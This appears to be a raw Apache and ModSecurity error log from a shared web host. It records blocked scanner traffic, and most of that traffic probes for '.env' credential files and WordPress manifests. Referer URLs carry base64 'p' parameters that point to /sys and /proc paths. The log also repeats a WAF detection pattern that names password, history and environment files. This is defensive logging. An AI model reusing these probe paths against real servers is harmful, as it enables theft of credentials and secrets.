https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:11:35.298726 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.44:20567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:35.299165 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.44:20567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:35.346357 2026] [security2:error] [pid 531797:tid 532013] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/laravel/.env"] [unique_id "ai3xt8TA7b1mZrmcA-8tqQAAAiU"] [Sat Jun 13 18:11:35.485915 2026] [security2:error] [pid 531797:tid 531954] [remote 17.22.237.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xt8TA7b1mZrmcA-8trgACYFo"] [Sat Jun 13 18:11:35.557936 2026] [security2:error] [pid 531797:tid 532057] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/app/.env"] [unique_id "ai3xt8TA7b1mZrmcA-8tsAAAAk8"] [Sat Jun 13 18:11:35.734423 2026] [security2:error] [pid 531797:tid 532078] [client 143.244.57.82:44304] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "ai3xt8TA7b1mZrmcA-8ttQAAAmQ"] [Sat Jun 13 18:11:35.752152 2026] [access_compat:error] [pid 531797:tid 531887] [remote 57.141.14.64:64080] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:35.752424 2026] [access_compat:error] [pid 531797:tid 531887] [remote 57.141.14.64:64080] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:35.792689 2026] [security2:error] [pid 531797:tid 532071] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/web/.env"] [unique_id "ai3xt8TA7b1mZrmcA-8tuAAAAl0"] [Sat Jun 13 18:11:35.841639 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:35.841966 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:35.942120 2026] [security2:error] [pid 531797:tid 531913] [remote 17.241.75.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xt8TA7b1mZrmcA-8tvAACRDE"] [Sat Jun 13 18:11:36.004412 2026] [security2:error] [pid 531797:tid 532108] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/src/.env"] [unique_id "ai3xuMTA7b1mZrmcA-8tvgAAAoE"] [Sat Jun 13 18:11:36.218601 2026] [security2:error] [pid 531797:tid 532092] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/server/.env"] [unique_id "ai3xuMTA7b1mZrmcA-8txgAAAnE"] [Sat Jun 13 18:11:36.253210 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.95:24727] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:36.253478 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.95:24727] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:36.337409 2026] [security2:error] [pid 531797:tid 532034] [client 143.244.57.82:44306] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ai3xuMTA7b1mZrmcA-8tzAAAAjk"] [Sat Jun 13 18:11:36.364064 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZQ== [Sat Jun 13 18:11:36.364341 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vbW91c2UyL2RldmljZQ== [Sat Jun 13 18:11:36.426906 2026] [security2:error] [pid 531797:tid 532025] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/config/.env"] [unique_id "ai3xuMTA7b1mZrmcA-8t0QAAAjE"] [Sat Jun 13 18:11:36.550598 2026] [security2:error] [pid 531155:tid 531197] [remote 17.22.237.95:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xuCmiP80klyS0Nnr_LAABPyk"] [Sat Jun 13 18:11:36.637407 2026] [security2:error] [pid 531797:tid 532041] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/shared/.env"] [unique_id "ai3xuMTA7b1mZrmcA-8t2gAAAkA"] [Sat Jun 13 18:11:36.650494 2026] [security2:error] [pid 531797:tid 531928] [remote 17.22.253.138:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xuMTA7b1mZrmcA-8t3AACV0A"] [Sat Jun 13 18:11:36.692324 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.28:60196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:36.692780 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.28:60196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:36.774047 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.112:32144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:36.774490 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.112:32144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:36.849149 2026] [security2:error] [pid 531797:tid 532111] [client 103.146.202.144:44810] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cyd.bch.mybluehost.me"] [uri "/public/.env"] [unique_id "ai3xuMTA7b1mZrmcA-8t5AAAAoQ"] [Sat Jun 13 18:11:36.868955 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:11:36.869248 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvaW5wdXQvaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:11:36.932667 2026] [security2:error] [pid 531797:tid 532035] [client 143.244.57.82:44308] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ai3xuMTA7b1mZrmcA-8t6AAAAjo"] [Sat Jun 13 18:11:36.975517 2026] [access_compat:error] [pid 531155:tid 531261] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:36.975794 2026] [access_compat:error] [pid 531155:tid 531261] [remote 216.73.216.182:4582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:37.007214 2026] [security2:error] [pid 531155:tid 531260] [remote 17.241.75.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xuSmiP80klyS0Nnr_MgABI2g"] [Sat Jun 13 18:11:37.008909 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.72:45073] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:37.009348 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.72:45073] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:37.162116 2026] [security2:error] [pid 531797:tid 531926] [remote 17.241.219.123:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xucTA7b1mZrmcA-8t8wACRz4"] [Sat Jun 13 18:11:37.395563 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2lk [Sat Jun 13 18:11:37.396010 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2lk [Sat Jun 13 18:11:37.512782 2026] [security2:error] [pid 531155:tid 531160] [remote 17.22.237.190:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 190.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xuSmiP80klyS0Nnr_QgABNgQ"] [Sat Jun 13 18:11:37.536270 2026] [security2:error] [pid 531155:tid 531345] [client 143.244.57.82:44312] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.wsg.lpc.mybluehost.me"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ai3xuSmiP80klyS0Nnr_RAAAAUY"] [Sat Jun 13 18:11:37.550635 2026] [access_compat:error] [pid 531797:tid 531987] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:11:37.550917 2026] [access_compat:error] [pid 531797:tid 531987] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL25ldA== [Sat Jun 13 18:11:37.915318 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:11:37.915704 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:11:37.988306 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.44:33725] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:37.988589 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.44:33725] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:38.015110 2026] [access_compat:error] [pid 531155:tid 531274] [remote 57.141.14.40:36390] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:38.015383 2026] [access_compat:error] [pid 531155:tid 531274] [remote 57.141.14.40:36390] AH01797: client denied by server configuration: 